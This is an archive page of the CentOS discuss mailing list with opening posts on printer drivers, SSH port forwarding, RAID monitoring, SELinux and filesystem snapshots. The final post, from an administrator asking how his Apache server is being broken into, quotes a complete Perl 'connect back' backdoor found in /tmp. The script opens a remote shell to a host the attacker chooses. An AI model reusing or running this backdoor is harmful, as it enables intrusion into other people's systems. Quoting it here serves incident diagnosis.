Discuss November 2005

discuss@lists.centos.org

232 participants
368 discussions

HPLIP
by Robert 18 Jan '06

18 Jan '06

First, has anyone successfully installed the HPLIP driver from HP in CentOS4? Second, does that driver really provide the toolbox which includes handy stuff like ink level monitoring? I got the source RPM (hplip-0.9.4-1.1.src.rpm) from an FC4 testing mirror, which rebuilt fine on this machine: . . . + umask 022 + cd /home/rj/rpmbuild/BUILD + cd hplip-0.9.4 + rm -rf /home/rj/rpmbuild/tmp/hplip-0.9.4-buildroot + exit 0 Executing(--clean): /bin/sh -e /home/rj/rpmbuild/tmp/rpm-tmp.54540 + umask 022 + cd /home/rj/rpmbuild/BUILD + rm -rf hplip-0.9.4 + exit 0 [rj@mavis ~]$ su Password: but would not install. [root@mavis rpmbuild]# rpm -ivh ./RPMS/i386/hplip-0.9.4-1.1.i386.rpm error: Failed dependencies: system-config-printer < 0.6.131.3 conflicts with hplip-0.9.4-1.1.i386 hpijs < 1:0.9.4-1.1 conflicts with hplip-0.9.4-1.1.i386 The conflict with hpijs is a no-brainer -- remove it because hplip is a replacement. But what about system-config-printer? I'm not too keen on dropping back to manually setting up printers. Any advice is welcome.

3 5

openssh port forward in centos 4
by Erick Perez 04 Jan '06

04 Jan '06

Hi, I use putty in my windows xp machine. ssh server in a centos 4. The centos 4 machine runs a web server that listens on port 1812, the centos machine is behind a firewall that allows tcp 22 connections only. I am on public internet. Can I forward/redirect/allow my web browser in windows to "see" the web page in port 1812 of the centos machine via the SSH connection? Thanks, -- ------------------------------------------- Erick Perez Linux User 376588 http://counter.li.org/ (Get counted!!!) Panama, Republic of Panama

5 5

modem for dial IN
by Tom Brown 04 Jan '06

04 Jan '06

Hi Not entirely centos related but that what the boxes are running so here i go ;) 2 of our centos boxes run nagios for network monitoring and send email and paging alerts and are connected to standard phone lines using modems to send the pages. I'm looking for a way in the event of provider failure to login to these machines and so am looking at the ability to connect to the console over the modem. Any good how-to's on this ? Also interested to know real life seciruty risks etc. Is it possible to limit phone numbers that are abor to connect etc? thanks

4 3

3ware RAID controller scripts
by Bob Lewkowitz 26 Dec '05

26 Dec '05

Hello list, I see through the archives that some people here use 3ware RAID controllers with Centos. I have picked up two 9500S-4LP controllers for future servers. I was hoping that if some people could please share their 3ware monitoring scripts with the rest of the group. What I am really hoping to do is have some setup where a cron job runs scripts to test each of the drives connected to the controller to make sure they are not going to break any time soon and then check the health of the array itself. I am used to using smartd for basic SCSI and IDE drives but not connected to this adapter. Any good souls out there want to spread the knowledge? thx, Bob

5 5

CentOS mailserver and spam filter setup ideas & preferences
by Robert 26 Dec '05

26 Dec '05

greetings, yes, Mr. Richey it was funny what everyone posted... we all need that from time to time eh? ummm on the work side... i have been trying to search on how to block alternative language spam (spanish or otherwise) and am coming up fairly blank except for Bayesian filtering... i will probably be using the www.qmailrocks.org system again yet i am interested in what others have done and are doing please... i used sendmail for years so any hints from that side would be appreciate too please? plus if someone tell me what i should be putting in my google search for trying to find alternative ways to filter spanish or other language spam please? i am almost drawing a blank! thanks in advance - rh -- Robert Hanson - Abba Communications Computer & Internet Services (509) 624-7159 - www.abbacomm.net

9 11

yum-utils and yum-utils-plugins
by Johnny Hughes 25 Dec '05

25 Dec '05

All, We are currently testing the yum-utils and yum-utils-plugins in the dev.centos.org repository. The two main plugins that this allows that I think would be great for normal users are protectbase and fastestmirror. See the announcement on the centos-devel list for details: http://lists.centos.org/pipermail/centos-devel/2005-November/000947.html Thanks, Johnny Hughes

3 6

SELinux threads, cynicism, one-upmanship, etc.
by Lamar Owen 16 Dec '05

16 Dec '05

After reading through the various SELinux threads, I really became quite perturbed. I mean, really quite perturbed. As an IT Director (and the entire IT department, currently), if I were hiring a sysadmin I know for a fact that someone whose first response to a question on why something doesn't work is 'turn it off' would not get a job here. Neither would a sysadmin with as much cynicism as has been displayed, or an automatic 'it broke things' when something new (and in fact improved) comes along get a job here. Do realize that this list is archived, and that many people who are hiring might use Google to find your name (or mine, for that matter). No, I would hire someone who would read enough of the friendly manual to know where to look and who to ask to find the fix for the real problem. The real fix is there; thanks to the KMail developers for including a 'mark as important' feature so I can find that message amongst the drivel in that thread easily (well, actually I'll probably just delete everything but the real solution). It is the lazy sysadmin who just turns things off without an understanding as to why they are turned off; don't give me the 'overworked' line; you had enough time to post here on the brokenness of SELinux, so you had enough time to find the problem's real source. I am not interested in hiring lazy sysadmins, once I get to hiring. Bryan Smith, for all the verbosity he is known for, doesn't seem to be lazy and could likely hold the job; Craig White likewise, among many others here. I won't name all the names to protect the guilty. :-) The main reason I think sysadmins in general seem to hate SELinux is the 'Mandatory' part of 'Mandatory Access Control' : that is, superuser power is too addictive to get rid of, and SELinux can do away with 'superuser' powers entirely. AND THAT IS A GOOD THING. Yes, it really is. The buffer overflow exploit for those root-running daemons doesn't stand a chance even if it gains root, as long as the selinux policies are set properly. And, yes, it is possible to set the policies properly; any daemon whose developers feel that it needs to be exempt from such might have a problem running on my servers. In a nutshell, SELinux is on and enabled everywhere here; I can't seem to find any measureable speed difference between SELinux targeted, permissive or off; it is unobtrusive in my experience, and it does indeed help protect internet-facing systems from unknown buffer overflows. This is a good thing, and I am convinced that the minor inconvenience of learning a new security tool's configuration is a great tradeoff; especially when the alternative is a compromised system. As there is no such thing as a 100% secure system, anything that improves security but, when properly configured, doesn't impact usability is a BIG WIN in a my book, and probably in many other IT Directors' books too. I have been running Red Hat Linux on internet-facing servers for quite a while, now, and in my opinion and experience, SELinux is the best thing to happen to Linux since 0.13 was released. It's about time the antiquated default Unix permissions system was overhauled. Yes, it requires study, thought, and care. I would expect nothing less of any sysadmins who would work under me. Also, as one poster wrote, SELinux is NOT a *service* but is indeed the Bully Boss of the system. This is also a good thing for internet-facing servers to have; how is the machine supposed to know that the Real Root has logged in, and that that process with euid 0 really was started by the Real Root? The Real Root should take the time to configure in to the policies those things the Real Root would normally do (you know, things like backups and the like, along with other normal activities), but then block those actions that the Real Root would not do (like install a rootkit; yes, a properly configured SELinux can prevent installation of a rootkit on your machine even if it gets 'rooted'). The power of the properly configured Mandatory Access Control system (The Bully Boss) is completely in the control of the Real Root, but untouchable by those Fake Roots who wish to do your system harm. This is again a good thing, and one I would think Diligent Sysadmins would be falling over themselves trying to learn and deploy. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu

15 49

cs & gfs
by Jure Pečar 09 Dec '05

09 Dec '05

Hi all, I was informed[1] that gfs & rhcs packages are in the works but that there are some problems with the code. What are these problems? Can we do anything to help test / solve them? [1] http://www.karan.org/blog/index.php/2005/07/25/everyone_loves_a_cluster_as_… -- Jure Pečar http://jure.pecar.org

3 4

Query: Filesystems
by Maciej Żenczykowski 08 Dec '05

08 Dec '05

Hello, Just a few quick, but not very simple questions...: Do any Linux filesystems (besides XFS) support freezing? (ie. in conjuction with LVM snapshots this can allow a mounted filesystem to be frozen [freezing all processes writing to this filesystem] in a valid state (with possibly dangling unlinked files), the device can be snapshotted via LVM, and the original filesystem unfrozen - the snapshot now contains a valid snapshot in time of the original filesystem - with no corruption. Can this (freezing) be used for the root filesystem or other important filesystems? ie. might it cause something vitally important to freeze? Can a snapshotted LVM (the snapshot, not the original filesystem) be modified (I assume snapshots are purely readonly...) - so as to remove the dangling deleted/unlinked files and possibly modify the uuid (I realize there is a nouuid mount option for XFS). And the last question: is there some sort of filesystem which supports generating 'in-filesystem' snapshots (ie. some sort of copy-on-write block semantics applicable both to files and directories combined with both a root rw directory to access current files and a ro /snapshot/YYMMDD-HHMMSS hierarchy to access snapshots from past dates with the possibility of deleting them at will (ie. generate a snapshot every hour, after 24 hours leave only every 6th one, after 7 days leave only dailies, after a month leave only weeklies etc... - much too complicated, but it's easier to get the basic idea across on a larger example - probably organized via cronjob). I realise such a solution would not be foolproof (if the disk goes bad or the filesystem goes haywire it's pretty much useless) so a hard-copy would still need to be maintained (probably via freeze/snapshot/unfreeze/dump it somewhere else) - but this would be useful for the users (the ability to restore past deleted files...) In a way this could possibly be realized via some twidling with rsync (although for space efficiency this would require copy-on-write hardlinks or something like that) but I see no way of doing this without wasting a lot of space (at least 1 copy of the snapshoted filesystem, the rest could probably be hardlinked). And to maintain full R/O status, this would need to be a seperate partition, etc... Any comments/ideas? Cheers, MaZe.

5 4

Apache/PHP Security Help.
by Ajay Sharma 05 Dec '05

05 Dec '05

I have a personal apache/mail server that is getting hacked and I'm not sure how the person is getting in. What's happening is that every few days, the below script will show up in /tmp as 'dc.txt', owned by apache and then a TON of mail is queued up to a bunch of addresses in @uol.com.br. I initially thought they got in becuase I had an outdated version of 'gallery' installed. I rebuild the server and update gallery and thought I should be okay. But now they are still getting in and instead of blindly rebuilding the server, I need to figure out how they are able to run perl scripts on the server. Any suggestions? --Ajay PS. This is a CentOS 4.2 box running the latest apache/php RPMS. --------------------------- #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>\n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . "\0" x 4; exit(0); } print "[*] Datached\n\n"; --------------------------------

4 4

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss November 2005